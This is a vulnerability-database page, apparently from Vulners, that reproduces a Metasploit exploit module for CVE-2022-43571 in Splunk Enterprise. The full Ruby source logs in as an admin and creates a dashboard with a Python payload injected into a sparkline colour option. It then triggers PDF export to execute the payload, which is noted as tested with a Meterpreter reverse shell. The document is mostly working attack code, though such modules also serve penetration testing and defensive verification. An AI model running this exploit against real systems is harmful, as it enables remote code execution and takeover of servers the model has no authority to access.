Lucene search
K

Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)

🗓️ 21 Jan 2026 18:56:42Reported by Maksim Rogov, Danylo Dmytriiev, psytesterType 
metasploit
 metasploit
🔗 www.rapid7.com👁 332 Views

Authenticated RCE in Splunk via SimpleXML dashboards, triggered on PDF export.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-43571
3 Nov 202223:15
attackerkb
Circl
CVE-2022-43571
3 Jan 202320:18
circl
CNNVD
Splunk 代码注入漏洞
2 Nov 202200:00
cnnvd
CVE
CVE-2022-43571
3 Nov 202222:56
cve
Cvelist
CVE-2022-43571 Remote Code Execution through dashboard PDF generation component in Splunk Enterprise
3 Nov 202222:56
cvelist
GithubExploit
Exploit for Code Injection in Splunk
27 Dec 202208:00
githubexploit
NCSC
Vulnerabilities fixed in Splunk Enterprise
3 Nov 202200:00
ncsc
NVD
CVE-2022-43571
3 Nov 202223:15
nvd
OSV
CVE-2022-43571
3 Nov 202223:15
osv
Packet Storm
📄 Splunk Enterprise 8.2.9 / 9.0.2 Remote Code Execution
21 Jan 202600:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Splunk
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)',
        'Description' => %q{
          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.

          An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard.
          The malicious code is executed when a user triggers the PDF export function for the dashboard.

          The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'Danylo Dmytriiev', # Vulnerability Discovery
          'psytester' # Public Exploit
        ],
        'References' => [
          ['CVE', '2022-43571'],
          ['URL', 'https://advisory.splunk.com/advisories/SVD-2022-1111'],
          ['URL', 'https://web.archive.org/web/20221218233608/https://psytester.github.io/CVE-2022-43571_SPLUNK_RCE/']
        ],
        'Platform' => ['python'],
        'Arch' => [ARCH_PYTHON],
        'Targets' => [
          [
            'Splunk < 8.1.12, 8.2.9, and 9.0.2 / Python payload',
            {
              # Tested with python/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-11-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
        OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username']),
        OptBool.new('USE_INLINE_SPLUNK_QUERY', [true, 'By default, the exploit uses a simple query using system indexes (such as _internal). This option can be useful if those indexes are empty', false ])
      ]
    )
  end

  def gen_inline_splunk_query
    row_id_name = Rex::Text.rand_text_alphanumeric(8..16)
    arr_field = Rex::Text.rand_text_alpha(8..16)

    rand_count = rand(100..500)
    step = rand(2..15)

    col_count = rand(3..10)
    column_names = col_count.times.map { Rex::Text.rand_text_alphanumeric(8..16) }

    delimiter = [';', '|', ':', '#', '!'].sample
    names_string = column_names.join(delimiter)

    <<~SPL.strip
      | makeresults count=#{rand_count}
      | streamstats count as #{row_id_name}
      | eval _time = now() - (#{row_id_name} * #{step}),
             #{arr_field} = split("#{names_string}", "#{delimiter}"),
             sourcetype = mvindex(#{arr_field}, #{row_id_name} % #{col_count})
      | chart sparkline count by sourcetype
    SPL
  end

  def get_system_index_splunk_query
    rand_tail = rand(100..200)
    index = ['_internal', '_audit', '_introspection'].sample

    "index=#{index} | tail #{rand_tail} | chart sparkline count by sourcetype"
  end

  def get_malicious_dashboard_template(payload)
    splunk_query = datastore['USE_INLINE_SPLUNK_QUERY'] ? gen_inline_splunk_query : get_system_index_splunk_query
    style_param = ['lineColor', 'fillColor'].sample
    escaped_payload = CGI.escapeHTML(payload)

    dash_template = <<~XSL
      <dashboard>
          <row>
              <panel>
                  <table>
                      <search>
                      <query>
                          #{splunk_query}
                      </query>
                      </search>
                      <format field="sparkline" type="sparkline">
                      <option name="#{style_param}">#{escaped_payload}</option>
                      </format>
                  </table>
              </panel>
          </row>
      </dashboard>
    XSL

    # delete spaces
    dash_template.gsub(/^\s+/, '')
  end

  def cleanup
    super
    delete_dashboard(@target_app, @dash_name, @cookie)
  rescue Msf::Exploit::Failed
    print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit")
  end

  def check
    @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    version = splunk_home_version(@cookie)
    if version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.11')) ||
       version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.8')) ||
       version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.1'))
      return CheckCode::Appears("Exploitable version found: #{version}")
    end

    return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?

    return CheckCode::Unknown('Target does not appear to be a Splunk instance')
  end

  def exploit
    if @cookie.nil?
      @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    end

    template = get_malicious_dashboard_template(payload.encoded)

    @target_app = get_random_app(@cookie, enabled: true)
    @dash_name = Rex::Text.rand_text_alphanumeric(8..16)

    create_dashboard(@target_app, @dash_name, template, @cookie)
    begin
      export_dashboard(@target_app, @dash_name, @cookie)
    rescue StandardError
      nil
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
7.5High risk
Vulners AI Score7.5
CVSS 3.18.8
EPSS0.14314
SSVC
332